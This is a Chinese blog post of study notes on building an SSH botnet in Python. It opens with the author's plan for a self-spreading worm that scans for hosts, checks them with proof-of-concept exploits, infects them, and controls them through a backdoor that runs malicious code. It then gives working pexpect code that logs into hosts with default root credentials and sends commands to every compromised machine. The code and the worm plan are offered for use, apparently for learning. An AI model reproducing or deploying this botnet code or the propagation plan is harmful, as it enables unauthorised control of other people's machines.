Python绝技学习笔记-构建ssh僵尸网络

系统 1652 0

先记录一下我自己像写的一个超级大木马蠕虫的思路。请自行忽略

1.本机电脑扫描探测其他电脑

2.使用poc验证是否存在漏洞,同时检测是否已经被感染

3.如果都满足,感染未感染同时又存在漏洞的机子。

4.感染后的机子下载代码。继续以上过程(这样是一台控制几台,几台又控制几台,可以开几台,形成循环。而且不互相知道)

5.如何控制自己的这种僵尸网络呢?(开一个特殊的后门)发送一条指令,一传十,十传百。主机信息怎么传递,可传输指令,运行github上的恶意代码,交替运行,由控制端随机选择哪几台机器运行?

正题:

1.正常的僵尸网络,是一台机器控制所有的肉鸡。

这里用一个全局变量BotNet=[]记录所有的肉鸡对象

用addClient()向BotNet里添加新的肉鸡

botnetCommand()是给新加的肉鸡指令。

定义一个client,就代表这一个肉鸡,可以连接一台远程的机器,并在本地执行命令。

 

这段代码并不是木马蠕虫,并不能实现自动传播。如果要实现自动传播,还需要和之前的暴力破解ssh结合在一起,修改代码。

client

代码:

from pexpect import pxssh
import getopt

class Client():
    def __init__(self,host,user,password):
        self.host=host
        self.user=user
        self.password=password
        self.session=self.connect()
    def connect(self):
        try:
            s=pxssh.pxssh()
            s.login(self.host,self.user,self.password)
            return s
        except Exception as e:
            print str(e)
            return "Error Connection"
    def send_command(self,cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before
botNet=[]
def addClient(host,user,password):
    client=Client(host,user,password)
    botNet.append(client)
def botNetCommand(command):
    for client in botNet:
        output=client.send_command(command)
        print "output from"+client.host
        print "[+]"+output+"\n"

addClient('192.168.10.154','root','root')
botNetCommand('uname -v')
botNetCommand('cat /etc/issue')


更多文章、技术交流、商务合作、联系博主

微信扫码或搜索:z360901061

微信扫一扫加我为好友

QQ号联系: 360901061

您的支持是博主写作最大的动力,如果您喜欢我的文章,感觉我的文章对您有帮助,请用微信扫描下面二维码支持博主2元、5元、10元、20元等您想捐的金额吧,狠狠点击下面给点支持吧,站长非常感激您!手机微信长按不能支付解决办法:请将微信支付二维码保存到相册,切换到微信,然后点击微信右上角扫一扫功能,选择支付二维码完成支付。

【本文对您有帮助就好】

您的支持是博主写作最大的动力,如果您喜欢我的文章,感觉我的文章对您有帮助,请用微信扫描上面二维码支持博主2元、5元、10元、自定义金额等您想捐的金额吧,站长会非常 感谢您的哦!!!

发表我的评论
最新评论 总共0条评论